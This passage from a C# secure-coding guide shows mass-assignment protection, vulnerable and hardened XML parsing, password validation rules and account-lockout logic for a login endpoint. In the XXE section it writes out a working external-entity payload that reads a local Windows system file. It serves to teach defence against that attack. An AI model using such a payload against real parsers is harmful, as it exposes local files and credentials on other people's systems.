{
    var userId = GetCurrentUserId();
    var user = userRepository.GetUser(userId);

    // 2. Explicitly map allowed properties
    user.FirstName = request.FirstName;
    user.LastName = request.LastName;
    user.PhoneNumber = request.PhoneNumber;
    // IsAdmin, AccountBalance NOT updated from user input

    userRepository.UpdateUser(user);
    return Ok();
}

// Or use AutoMapper with explicit mapping
CreateMap<UpdateUserProfileRequest, User>()
    .ForMember(dest => dest.IsAdmin, opt => opt.Ignore())
    .ForMember(dest => dest.AccountBalance, opt => opt.Ignore())
    .ForMember(dest => dest.UserId, opt => opt.Ignore());

// ❌ VULNERABLE
var xmlReader = XmlReader.Create(untrustedXmlStream);
var doc = new XmlDocument();
doc.Load(xmlReader); // XXE possible

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<data>&xxe;</data>
<!-- Reads local files and sends to attacker -->

// ✅ SECURE
var settings = new XmlReaderSettings
{
    DtdProcessing = DtdProcessing.Prohibit, // ✅ Disable DTD
    XmlResolver = null // ✅ Disable external entities
};

using (var xmlReader = XmlReader.Create(untrustedXmlStream, settings))
{
    var doc = new XmlDocument();
    doc.Load(xmlReader);
}

public class PasswordValidator
{
    private const int MinLength = 12; // NIST recommends 8-12+
    private const int MaxLength = 128;

    public ValidationResult Validate(string password)
    {
        var errors = new List<string>();

        if (password.Length < MinLength)
            errors.Add($"Password must be at least {MinLength} characters");

        if (password.Length > MaxLength)
            errors.Add($"Password cannot exceed {MaxLength} characters");

        // Check for common passwords
        if (IsCommonPassword(password))
            errors.Add("Password is too common");

        // Check for username in password
        if (ContainsUsername(password))
            errors.Add("Password cannot contain username");

        // Require mix of character types
        if (!Regex.IsMatch(password, @"[a-z]"))
            errors.Add("Password must contain lowercase letter");

        if (!Regex.IsMatch(password, @"[A-Z]"))
            errors.Add("Password must contain uppercase letter");

        if (!Regex.IsMatch(password, @"\d"))
            errors.Add("Password must contain number");

        if (!Regex.IsMatch(password, @"[!@#$%^&*(),.?""':{}|<>]"))
            errors.Add("Password must contain special character");

        // Check for consecutive repeated characters
        if (Regex.IsMatch(password, @"(.)\1{2,}"))
            errors.Add("Password cannot have more than 2 consecutive repeated characters");

        return new ValidationResult
        {
            IsValid = errors.Count == 0,
            Errors = errors
        };
    }

    private bool IsCommonPassword(string password)
    {
        // Check against list of 10,000 most common passwords
        var commonPasswords = LoadCommonPasswords();
        return commonPasswords.Contains(password.ToLower());
    }
}

public class AccountLockoutService
{
    private readonly IRedisCache _cache;
    private const int MaxAttempts = 5;
    private const int LockoutMinutes = 30;

    public async Task<bool> IsLockedOutAsync(string email)
    {
        var lockoutKey = $"lockout:{email}";
        return await _cache.ExistsAsync(lockoutKey);
    }

    public async Task RecordFailedAttemptAsync(string email)
    {
        var attemptsKey = $"attempts:{email}";
        var attempts = await _cache.IncrementAsync(attemptsKey);

        if (attempts == 1)
        {
            // Set expiration on first attempt
            await _cache.ExpireAsync(attemptsKey, TimeSpan.FromMinutes(15));
        }

        if (attempts >= MaxAttempts)
        {
            // Lock account
            var lockoutKey = $"lockout:{email}";
            await _cache.SetAsync(lockoutKey, "locked", TimeSpan.FromMinutes(LockoutMinutes));

            // Send notification
            await _notificationService.SendAccountLockedEmailAsync(email);

            // Log security event
            _logger.Warning("Account locked due to {Attempts} failed attempts: {Email}", 
                           attempts, email);
        }
    }

    public async Task ClearAttemptsAsync(string email)
    {
        var attemptsKey = $"attempts:{email}";
        await _cache.RemoveAsync(attemptsKey);
    }
}

// In login controller
[Route("UserLogin")]
public async Task<IHttpActionResult> UserLogin(LoginRequest request)
{
    // Check lockout first
    if (await _accountLockout.IsLockedOutAsync(request.Email))
    {
        return Ok(new BaseResponse
        {
            Status = 0,
            Message = "Account is locked due to too many failed attempts. Try again in 30 minutes.",
            Reason = "AccountLocked"
        });
    }

    var user = await _userRepository.AuthenticateUserAsync(request.Email, request.Password);

    if (user == null)
    {
        await _accountLockout.RecordFailedAttemptAsync(request.Email);

        return Ok(new BaseResponse
        {
            Status = 0,
            Message = "Invalid credentials",
            Reason = "InvalidCredentials"
        });
    }

    // Success - clear failed attempts
    await _accountLockout.ClearAttemptsAsync(request.Email);

    return Ok(new BaseResponse { Status = 1, Data = user });
}